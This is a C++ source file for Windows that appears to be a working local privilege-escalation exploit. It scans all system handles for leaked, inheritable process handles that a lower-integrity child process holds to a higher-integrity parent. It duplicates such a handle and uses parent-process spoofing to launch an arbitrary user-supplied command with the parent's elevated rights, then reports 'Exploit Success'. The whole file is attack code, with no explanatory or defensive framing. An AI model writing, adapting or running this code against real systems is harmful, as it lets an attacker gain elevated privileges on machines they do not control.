#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <unordered_set>
#include "Native.h"
#include <shlwapi.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <iostream>
#include <strsafe.h>
#pragma comment(lib, "Shlwapi.lib")
using namespace std;
typedef enum _INTEGRITY_LEVEL {
UNTRUSTED_INTEGRITY,
LOW_INTEGRITY,
MEDIUM_INTEGRITY,
HIGH_INTEGRITY,
SYSTEM_INTEGRITY,
PPL_INTEGRITY,
INTEGRITY_UNKNOWN,
}INTEGRITY_LEVEL, * PINTEGRITY_LEVEL;
/* This function will get all process handles in the system. */
PSYSTEM_HANDLE_INFORMATION_EX QueryAllSystemHandlers()
{
NTSTATUS queryStatus;
PSYSTEM_HANDLE_INFORMATION_EX handleInfoEx;
ULONG handleInfoSizeEx = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
ULONG returnLength;
handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(handleInfoSizeEx);
while ((queryStatus = NtQuerySystemInformation(
SystemExtendedHandleInformation,
handleInfoEx,
handleInfoSizeEx,
&returnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
{
handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(handleInfoEx, handleInfoSizeEx *= 2);
if (handleInfoEx == NULL)
{
break;
}
}
if (!NT_SUCCESS(queryStatus) || handleInfoEx == NULL)
{
printf("[-] NtQuerySystemInformation() failed.\n");
free(handleInfoEx);
return NULL;
}
printf("[+] Query all system handles information succeeded.\n");
return handleInfoEx;
}
/* This function will get the parent process id of the specified process. */
ULONG_PTR GetParentPid(ULONG_PTR UniqueProcessId)
{
NTSTATUS queryStatus;
PPROCESS_BASIC_INFORMATION processInfo;
ULONG processInfoSize = sizeof(PROCESS_BASIC_INFORMATION);
ULONG returnLength;
ULONG_PTR ppid;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);
if (hProcess == NULL) {
return FALSE;
}
processInfo = (PPROCESS_BASIC_INFORMATION)malloc(processInfoSize);
while ((queryStatus = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
processInfo,
processInfoSize,
&returnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
{
processInfo = (PPROCESS_BASIC_INFORMATION)realloc(processInfo, processInfoSize *= 2);
if (processInfo == NULL)
{
break;
}
}
if (!NT_SUCCESS(queryStatus) || processInfo == NULL)
{
printf("[-] NtQueryInformationProcess() failed.\n");
free(processInfo);
return NULL;
}
ppid = (ULONG_PTR)processInfo->InheritedFromUniqueProcessId;
free(processInfo);
CloseHandle(hProcess);
return ppid;
}
/* This function will get the specified process integrity level. */
BOOL GetProcessIntegrityLevel(ULONG_PTR UniqueProcessId, PINTEGRITY_LEVEL integrityCode)
{
PTOKEN_MANDATORY_LABEL tokenInfo;
DWORD tokenInfoSize = sizeof(TOKEN_MANDATORY_LABEL);
DWORD returnLength;
HANDLE hToken = NULL;
// Setting default Handle type name
*integrityCode = INTEGRITY_UNKNOWN;
SetLastError(NULL);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);
if (hProcess == NULL) {
return FALSE;
}
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
CloseHandle(hProcess);
return FALSE;
}
tokenInfo = (PTOKEN_MANDATORY_LABEL)malloc(tokenInfoSize);
// Get token information, set tokenInfo.
if (GetTokenInformation(
hToken,
TokenIntegrityLevel,
tokenInfo,
tokenInfoSize,
&returnLength
) || GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
tokenInfo = (PTOKEN_MANDATORY_LABEL)realloc(tokenInfo, tokenInfoSize *= 2);
if (!GetTokenInformation(
hToken,
TokenIntegrityLevel,
tokenInfo,
tokenInfoSize,
&returnLength
))
{
CloseHandle(hProcess);
CloseHandle(hToken);
free(tokenInfo);
return FALSE;
}
}
DWORD integrityLevel = *GetSidSubAuthority(
tokenInfo->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(tokenInfo->Label.Sid) - 1)
);
CloseHandle(hProcess);
CloseHandle(hToken);
free(tokenInfo);
if (integrityLevel < SECURITY_MANDATORY_LOW_RID) {
*integrityCode = UNTRUSTED_INTEGRITY;
return TRUE;
}
if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {
*integrityCode = LOW_INTEGRITY;
return TRUE;
}
if (integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
integrityLevel < SECURITY_MANDATORY_HIGH_RID) {
*integrityCode = MEDIUM_INTEGRITY;
return TRUE;
}
if (integrityLevel < SECURITY_MANDATORY_SYSTEM_RID) {
*integrityCode = HIGH_INTEGRITY;
return TRUE;
}
if (integrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {
*integrityCode = SYSTEM_INTEGRITY;
return TRUE;
}
if (integrityLevel >= SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {
*integrityCode = PPL_INTEGRITY;
return TRUE;
}
return FALSE;
}
/* This function is used to duplicate the specified process handle. */
HANDLE DuplicateProcessHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo)
{
HANDLE hProcess;
HANDLE duplicateProcessHandle = NULL;
// We're going to duplicate the handle so we need first the process handle.
if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.UniqueProcessId)))
{
return NULL;
}
// Duplicate the handle so we can query it.
if (!NT_SUCCESS(NtDuplicateObject(
hProcess,
(HANDLE)handleInfo.HandleValue,
GetCurrentProcess(),
&duplicateProcessHandle,
0,
0,
DUPLICATE_SAME_ACCESS
)))
{
CloseHandle(hProcess);
return NULL;
}
CloseHandle(hProcess);
return duplicateProcessHandle;
}
/*
* This function will spoof the parent process with PROCESS_ALL_ACCESS permission
* and start a new process in the security context of the parent process.
*/
BOOL Exploit_Process_Create_Process(HANDLE parentProcessHandle, LPTSTR lpCommandLine)
{
STARTUPINFOEX si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEX));
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
if (!CreateProcess(
NULL,
lpCommandLine,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
&si.StartupInfo,
&pi)
)
{
printf("[-] CreateProcess() Failed (%d).\n", GetLastError());
return FALSE;
}
else {
printf("[+] Created process with PID %d.\n", pi.dwProcessId);
return TRUE;
}
}
void Usage(TCHAR* argv)
{
printf("\nUsage: %S -c [Command]\n", argv);
}
int _tmain(int argc, TCHAR* argv[])
{
LPTSTR lpCommandLine = (LPTSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(TCHAR));
if (!(argc < 3) && (argv[1][0] == '-'))
{
switch (argv[1][1])
{
case 'c':
StringCchPrintf(lpCommandLine, MAX_PATH, argv[2]);
break;
case 'h':
Usage(argv[0]);
exit(0);
break;
default:
Usage(argv[0]);
exit(0);
}
}
else
{
Usage(argv[0]);
exit(0);
}
auto systemHandlesList = QueryAllSystemHandlers();
printf("[+] Filtering out all interesting handles.\n");
for (int i = 0; i < systemHandlesList->NumberOfHandles; i++)
{
auto handleInfo = systemHandlesList->Handles[i];
ULONG_PTR parentUniqueProcessId = GetParentPid(handleInfo.UniqueProcessId);
INTEGRITY_LEVEL processIntegrity;
INTEGRITY_LEVEL parentProcessIntegrity;
// We are only interested in the process handle.
if (handleInfo.ObjectTypeIndex != 0x07)
{
continue;
}
// Filter out all interesting handles.
if (!(handleInfo.GrantedAccess == PROCESS_ALL_ACCESS ||
handleInfo.GrantedAccess & PROCESS_CREATE_PROCESS ||
handleInfo.GrantedAccess & PROCESS_CREATE_THREAD ||
handleInfo.GrantedAccess & PROCESS_DUP_HANDLE ||
handleInfo.GrantedAccess & PROCESS_VM_WRITE))
{
continue;
}
// We are only interested in the nherited handle.
if (!(handleInfo.HandleAttributes & HANDLE_INHERIT))
{
continue;
}
// Get Child Process Integrity.
GetProcessIntegrityLevel(handleInfo.UniqueProcessId, &processIntegrity);
// Get Parent Process Integrity.
GetProcessIntegrityLevel(parentUniqueProcessId, &parentProcessIntegrity);
// We are only interested in processes whose integrity level is less than its parent process, and less than or equal to medium level
if (processIntegrity < parentProcessIntegrity && processIntegrity <= MEDIUM_INTEGRITY)
{
HANDLE parentProcessHandle = DuplicateProcessHandle(handleInfo);
if (Exploit_Process_Create_Process(parentProcessHandle, lpCommandLine))
{
printf("[+] Exploit Success.\n");
}
CloseHandle(parentProcessHandle);
}
}
}